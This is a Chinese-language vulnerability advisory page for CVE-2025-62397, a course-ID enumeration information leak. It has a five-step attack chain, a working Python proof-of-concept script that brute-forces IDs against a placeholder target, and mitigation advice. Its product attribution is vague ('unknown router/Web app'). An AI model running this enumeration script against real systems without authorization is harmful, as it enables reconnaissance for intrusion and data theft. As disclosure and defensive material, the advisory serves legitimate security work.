IPBUF安全漏洞报告
English
CVE-2025-62397 CVSS 5.3 中危

CVE-2025-62397: 路由器课程ID枚举信息泄露漏洞

披露日期: 2025-10-23

漏洞信息

漏洞编号
CVE-2025-62397
漏洞类型
信息泄露/资源枚举
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
未知路由器/Web应用

相关标签

信息泄露资源枚举Web应用安全API安全路由器侦察攻击CVE-2025-62397

漏洞概述

CVE-2025-62397是一个信息泄露中危漏洞,源于路由器或Web应用对无效课程ID的不一致响应行为。攻击者可以通过观察服务器对不同课程ID请求的响应差异,推断出哪些课程ID是真实存在的,从而进行有效的侦察活动。这种枚举攻击虽然不直接导致系统被完全入侵,但为后续更复杂的攻击提供了宝贵的目标信息。攻击者无需任何认证或特殊权限,只需发送大量HTTP请求并分析响应模式即可获取敏感信息。该漏洞的CVSS评分为5.3,属于中等严重程度,主要影响系统的机密性,对完整性和可用性无影响。

技术细节

该漏洞的根本原因在于应用对资源ID查询的错误处理机制不一致。当攻击者请求一个不存在的课程ID时,服务器返回的错误响应(如404 Not Found)与请求存在但不具有访问权限的响应(如403 Forbidden或401 Unauthorized)在状态码、响应时间或响应体内容上存在可识别的差异。攻击者利用这种差异,通过自动化工具发送大量请求,遍历可能的课程ID范围,识别出哪些ID对应真实存在的课程。这种信息泄露可能被用于:1)构建目标课程的完整列表;2)识别系统中的测试或开发环境课程;3)为后续的越权访问或数据窃取攻击做准备。修复方案应确保所有无效ID请求返回完全一致的响应,包括相同的HTTP状态码、响应头和响应体内容。

攻击链分析

STEP 1
步骤1
攻击者对目标路由器或Web应用进行侦察,识别课程相关的API端点
STEP 2
步骤2
攻击者构造大量包含不同课程ID的HTTP请求,发送至服务器
STEP 3
步骤3
攻击者收集每个请求的响应,分析状态码、响应时间、响应体长度等差异
STEP 4
步骤4
通过响应差异分析,攻击者识别出哪些课程ID对应真实存在的课程
STEP 5
步骤5
攻击者利用获取的课程ID列表进行后续攻击,如越权访问、数据窃取或针对性钓鱼

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-62397 PoC - Course ID Enumeration # This PoC demonstrates how inconsistent responses can leak valid course IDs import requests import time import json from concurrent.futures import ThreadPoolExecutor TARGET_URL = "http://target-server/api/courses" TEST_IDS = range(1, 1001) # Test course IDs 1-1000 def test_course_id(course_id): """Test a single course ID and analyze response""" url = f"{TARGET_URL}/{course_id}" try: start_time = time.time() response = requests.get(url, timeout=10) elapsed = time.time() - start_time return { 'course_id': course_id, 'status_code': response.status_code, 'response_time': elapsed, 'content_length': len(response.content), 'response_contains_data': b'course' in response.content.lower() or b'id' in response.content.lower() } except requests.exceptions.RequestException as e: return {'course_id': course_id, 'error': str(e)} def analyze_responses(responses): """Analyze responses to identify valid course IDs""" # Group responses by status code status_groups = {} for resp in responses: if 'error' not in resp: status = resp['status_code'] if status not in status_groups: status_groups[status] = [] status_groups[status].append(resp) print("\n=== Response Analysis ===") for status, items in status_groups.items(): avg_time = sum(i['response_time'] for i in items) / len(items) has_data = sum(1 for i in items if i['response_contains_data']) print(f"Status {status}: {len(items)} requests, avg_time={avg_time:.3f}s, with_data={has_data}") # Identify likely valid IDs based on response patterns valid_ids = [] for resp in responses: if 'error' not in resp: # Valid course might return 200 with course data # Invalid course might return 404 with no course data if resp['status_code'] == 200 and resp['response_contains_data']: valid_ids.append(resp['course_id']) return valid_ids def main(): print(f"[*] Starting CVE-2025-62397 enumeration test") print(f"[*] Target: {TARGET_URL}") print(f"[*] Testing {len(list(TEST_IDS))} course IDs...") # Test course IDs with threading for efficiency responses = [] with ThreadPoolExecutor(max_workers=10) as executor: futures = [executor.submit(test_course_id, cid) for cid in TEST_IDS] for future in futures: responses.append(future.result()) # Analyze and identify valid IDs valid_ids = analyze_responses(responses) print(f"\n[+] Potentially valid course IDs found: {valid_ids}") print(f"[*] Total: {len(valid_ids)} valid courses identified") # Save results with open('cve_2025_62397_results.json', 'w') as f: json.dump({'valid_ids': valid_ids, 'all_responses': responses}, f, indent=2) print(f"[*] Results saved to cve_2025_62397_results.json") if __name__ == "__main__": main()

影响范围

未知具体版本(建议查看厂商官方公告)

防御指南

临时缓解措施
在厂商发布正式补丁前,可采取以下临时缓解措施:1)配置Web应用防火墙规则,限制单IP对课程查询接口的请求频率;2)实施统一的错误响应机制,确保所有不存在的资源ID返回完全一致的404响应;3)添加随机延迟或混淆响应时间差异;4)启用请求日志监控,配置告警阈值以检测异常的枚举行为;5)限制课程ID的可预测性,使用UUID等不可预测的标识符替代顺序数字ID。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表